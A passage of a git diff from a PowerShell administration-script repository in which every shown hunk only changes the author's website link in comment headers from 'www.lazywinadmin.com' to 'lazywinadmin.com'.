TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 | 2 +- .../Remove-StringSpecialCharacter.ps1 | 2 +- TOOL-Send-Email/TOOL-Send-Email.ps1 | 2 +- TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 | 2 +- TOOL-Set-RDPDisable/Set-RDPDisable.ps1 | 2 +- TOOL-Set-RDPEnable/Set-RDPEnable.ps1 | 2 +- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 2 +- TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 | 2 +- .../Test-RemoteDesktopIsEnabled.ps1 | 2 +- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 2 +- _Profiles/Microsoft.PowerShell_profile.ps1 | 2 +- _Template/Function_Template.ps1 | 2 +- 68 files changed, 72 insertions(+), 72 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index d387ee86..2899e1b0 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -13,7 +13,7 @@ Get-ADFSMORole -Credential (Get-Credential -Credential "CONTOSO\SuperAdmin") .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index 451a7198..90c49c05 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -34,7 +34,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadm #> [CmdletBinding()] diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index ae45e757..55f1af1e 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -35,7 +35,7 @@ AUTHOR: Francois-Xavier CAT DATE: 2013/11/07 EMAIL: info@lazywinadmin.com - WWW: www.lazywinadmin.com + WWW: lazywinadmin.com TWITTER:@lazywinadmin https://lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html diff --git a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 index 5b012646..046aab3c 100644 --- a/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 +++ b/AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 @@ -13,7 +13,7 @@ function Get-ADDirectReports .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin Blog post: https://lazywinadmin.com/2014/10/powershell-who-reports-to-whom-active.html diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index bd50e1c5..36e0b263 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -17,7 +17,7 @@ .\AD-USER-Report_Expiring_Users.ps1 -days 5 -EmailFrom "ScriptBox@lazywinadmin.com" -EmailSMTPServer smtp.lazywinadmin.com -EmailTo fxcat@lazywinadmin.com .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin VERSION HISTORY @@ -70,7 +70,7 @@ BEGIN .NOTES Francois-Xavier Cat fxcat@lazywinadmin.com - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin VERSION HISTORY diff --git a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 index 50d29c14..d525a602 100644 --- a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 +++ b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ( diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index a8aedac5..9af7a4eb 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index d95389a5..74733a11 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -8,7 +8,7 @@ function Get-DistributionGroupMemberRecursive Get-DistributionGroupMemberRecursive -Group TestDG -Verbose .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 0ba27cb0..480d81f0 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -49,7 +49,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin diff --git a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 index 528c5d4c..6776df44 100644 --- a/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 +++ b/O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 @@ -49,7 +49,7 @@ function Update-O365UserUPNSuffix .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin #> diff --git a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 index c09edd97..3946cbf5 100644 --- a/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMGroupDeviceAffinity/Add-SCCMGroupDeviceAffinity.ps1 @@ -33,7 +33,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 index 9e9fe8ff..a6e6b7d0 100644 --- a/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 +++ b/SCCM-Add-SCCMUserDeviceAffinity/Add-SCCMUserDeviceAffinity.ps1 @@ -30,7 +30,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 index 448532b7..6e06a477 100644 --- a/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 +++ b/SCCM-Get-SCCMClientCacheInformation/Get-SCCMClientCacheInformation.ps1 @@ -16,7 +16,7 @@ This will get the client cache size on the computer Client01 .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin diff --git a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 index 71eacfd8..99a85cf0 100644 --- a/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMDeviceCollectionDeployment/Get-SCCMDeviceCollectionDeployment.ps1 @@ -32,7 +32,7 @@ .NOTES Francois-Xavier cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin CHANGE HISTORY diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 index 668df0cd..d1f093b9 100644 --- a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -35,7 +35,7 @@ .NOTES Francois-Xavier cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 index b36e2fbe..ad55e7eb 100644 --- a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -20,7 +20,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 index 24420ec4..222c4960 100644 --- a/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Add-SCSMReviewActivityReviewer/Add-SCSMReviewActivityReviewer.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com 1.0 Based on Cireson's consultant function #> diff --git a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 index 48ff77fe..b76031b9 100644 --- a/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 +++ b/SCSM-Get-SCSMIncidentRequestComment/Get-SCSMIncidentRequestComment.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - www.LazyWinAdmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 index 62623733..bbd0007d 100644 --- a/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 +++ b/SCSM-Get-SCSMReviewActivityReviewer/Get-SCSMReviewActivityReviewer.ps1 @@ -27,7 +27,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 index 77dcf63e..cc2f7316 100644 --- a/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 +++ b/SCSM-Get-SCSMServiceRequestComment/Get-SCSMServiceRequestComment.ps1 @@ -24,7 +24,7 @@ .NOTES Francois-Xavier Cat - www.LazyWinAdmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 index ac019f62..f01079f3 100644 --- a/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedCI/Get-SCSMWorkItemAffectedCI.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier.Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM ( [parameter()] diff --git a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 index bc68af20..f964cf7d 100644 --- a/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAffectedUser/Get-SCSMWorkItemAffectedUser.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> [CmdletBinding(DefaultParameterSetName = 'GUID')] diff --git a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 index bd8ba0b6..cd51fe4d 100644 --- a/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 +++ b/SCSM-Get-SCSMWorkItemAssignedUser/Get-SCSMWorkItemAssignedUser.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> [CmdletBinding(DefaultParameterSetName = 'GUID')] diff --git a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 index 49e73602..58f70bcc 100644 --- a/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 +++ b/SCSM-Get-SCSMWorkItemCreatedByUser/Get-SCSMWorkItemCreatedByUser.ps1 @@ -25,7 +25,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> [CmdletBinding(DefaultParameterSetName = 'GUID')] diff --git a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 index 3abb7fca..25709af5 100644 --- a/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 +++ b/SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 @@ -26,7 +26,7 @@ .NOTES Francois-Xavier.Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com 1.0 Function based on the work from Prosum and Cireson consultants #> diff --git a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 index 86452cc8..a1676c0a 100644 --- a/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 +++ b/SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier.Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM ( [parameter()] diff --git a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 index a22fdf78..7ca2c211 100644 --- a/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 +++ b/SCSM-Get-SCSMWorkItemRequestOffering/Get-SCSMWorkItemRequestOffering.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM ( diff --git a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 index 0fb95191..1faa4abc 100644 --- a/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 +++ b/SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 @@ -15,7 +15,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 index 0c123ccc..56197e8a 100644 --- a/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 +++ b/SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 @@ -33,7 +33,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin Script inspired from http://www.scsm.se/?p=1423 by Anders Asp diff --git a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 index 6190f255..cc8652e3 100644 --- a/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 +++ b/TOOL-Clean-MacAddress/Clean-MacAddress.ps1 @@ -53,7 +53,7 @@ function Clean-MacAddress .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [OutputType([String], ParameterSetName = "Upper")] diff --git a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 index 427fd4d3..d1bb74c5 100644 --- a/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 +++ b/TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 index ba05d078..77dc5c11 100644 --- a/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 +++ b/TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 @@ -16,7 +16,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 index c3b85c79..23a007cb 100644 --- a/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 +++ b/TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 @@ -36,7 +36,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin I used this function in System Center Orchestrator (SCORCH). diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 index 3c5a7bd5..a82b6988 100644 --- a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 +++ b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 @@ -31,7 +31,7 @@ function Disable-RemoteDesktop .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> #Requires -RunAsAdministrator @@ -70,7 +70,7 @@ function Disable-RemoteDesktop Specifies the message to show .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ($Message) diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index bc2ebc5e..eafd8bac 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -31,7 +31,7 @@ function Enable-RemoteDesktop .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> #Requires -RunAsAdministrator @@ -71,7 +71,7 @@ function Enable-RemoteDesktop Specifies the message to show .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ($Message) diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 index 5ce56081..0ebcaf1d 100644 --- a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -34,7 +34,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] diff --git a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 index 9dee27ba..6ae9f704 100644 --- a/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 +++ b/TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM([System.Collections.Hashtable]$HashTable) diff --git a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 index 120ca798..dc4a0f09 100644 --- a/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 +++ b/TOOL-Get-HashTableNotEmptyValue/Get-HashTableNotEmptyValue.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM([System.Collections.Hashtable]$HashTable) diff --git a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 index e2721825..6eea9d9f 100644 --- a/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 +++ b/TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 @@ -21,7 +21,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin VERSION HISTORY diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 index cf22420e..56bc9208 100644 --- a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -18,7 +18,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #function to get the BUILTIN LocalAdministrator diff --git a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 index a43690da..d0505cf6 100644 --- a/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 +++ b/TOOL-Get-LocalGroup/Get-LocalGroup.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 index d7d6ef8b..82939482 100644 --- a/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 +++ b/TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 @@ -14,7 +14,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com To Add: Credential param diff --git a/TOOL-Get-LocalUser/Get-LocalUser.ps1 b/TOOL-Get-LocalUser/Get-LocalUser.ps1 index 53bda7ed..a58ad0d6 100644 --- a/TOOL-Get-LocalUser/Get-LocalUser.ps1 +++ b/TOOL-Get-LocalUser/Get-LocalUser.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> diff --git a/TOOL-Get-LogFast/Get-LogFast.ps1 b/TOOL-Get-LogFast/Get-LogFast.ps1 index 689508ef..bf05f9b5 100644 --- a/TOOL-Get-LogFast/Get-LogFast.ps1 +++ b/TOOL-Get-LogFast/Get-LogFast.ps1 @@ -20,7 +20,7 @@ .NOTES Francois-Xavier cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com github.com/lazywinadmin #> diff --git a/TOOL-Get-NetStat/Get-NetStat.ps1 b/TOOL-Get-NetStat/Get-NetStat.ps1 index d8f68b98..5b38484c 100644 --- a/TOOL-Get-NetStat/Get-NetStat.ps1 +++ b/TOOL-Get-NetStat/Get-NetStat.ps1 @@ -9,7 +9,7 @@ https://lazywinadmin.com/2014/08/powershell-parse-this-netstatexe.html .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PROCESS diff --git a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 index a2121d06..409a22a4 100644 --- a/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 +++ b/TOOL-Get-PSObjectEmptyOrNullProperty/Get-PSObjectEmptyOrNullProperty.ps1 @@ -44,7 +44,7 @@ function Get-PSObjectEmptyOrNullProperty .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ( diff --git a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 index 27b98b2c..6d4901b0 100644 --- a/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 +++ b/TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 @@ -27,7 +27,7 @@ .NOTES Author : Francois-Xavier Cat - Website : www.lazywinadmin.com + Website : lazywinadmin.com Github : github.com/lazywinadmin Twitter : @lazywinadmin #> diff --git a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 index 4445bcc3..7bd1e95d 100644 --- a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 +++ b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 @@ -22,7 +22,7 @@ .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> [CmdletBinding()] diff --git a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 index 8007f26f..e8ac3f80 100644 --- a/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 +++ b/TOOL-Get-StringCharCount/Get-StringCharCount.ps1 @@ -12,7 +12,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> PARAM ([String]$String) ($String -as [Char[]]).count diff --git a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 index 412c445d..88769731 100644 --- a/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 +++ b/TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 @@ -23,7 +23,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> [CmdletBinding()] PARAM($String) diff --git a/TOOL-Get-Uptime/Get-Uptime.ps1 b/TOOL-Get-Uptime/Get-Uptime.ps1 index fe691a49..a7a772b0 100644 --- a/TOOL-Get-Uptime/Get-Uptime.ps1 +++ b/TOOL-Get-Uptime/Get-Uptime.ps1 @@ -32,7 +32,7 @@ .NOTES Francois-Xavier Cat @lazywinadmin - www.lazywinadmin.com + lazywinadmin.com #> [CmdletBinding()] PARAM ( @@ -68,7 +68,7 @@ Specifies the message to show .NOTES Francois-Xavier Cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin #> PARAM ($Message) diff --git a/TOOL-New-RandomPassword/New-RandomPassword.ps1 b/TOOL-New-RandomPassword/New-RandomPassword.ps1 index 5eecca03..6840908a 100644 --- a/TOOL-New-RandomPassword/New-RandomPassword.ps1 +++ b/TOOL-New-RandomPassword/New-RandomPassword.ps1 @@ -37,7 +37,7 @@ **W.)60kY4$V .NOTES francois-xavier.cat - www.lazywinadmin.com + lazywinadmin.com @lazywinadmin github.com/lazywinadmin #> diff --git a/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 b/TOOL-New-ScriptMessage/New-ScriptMessage.ps1 index a9a7ed98..0d5835f8 100644 --- 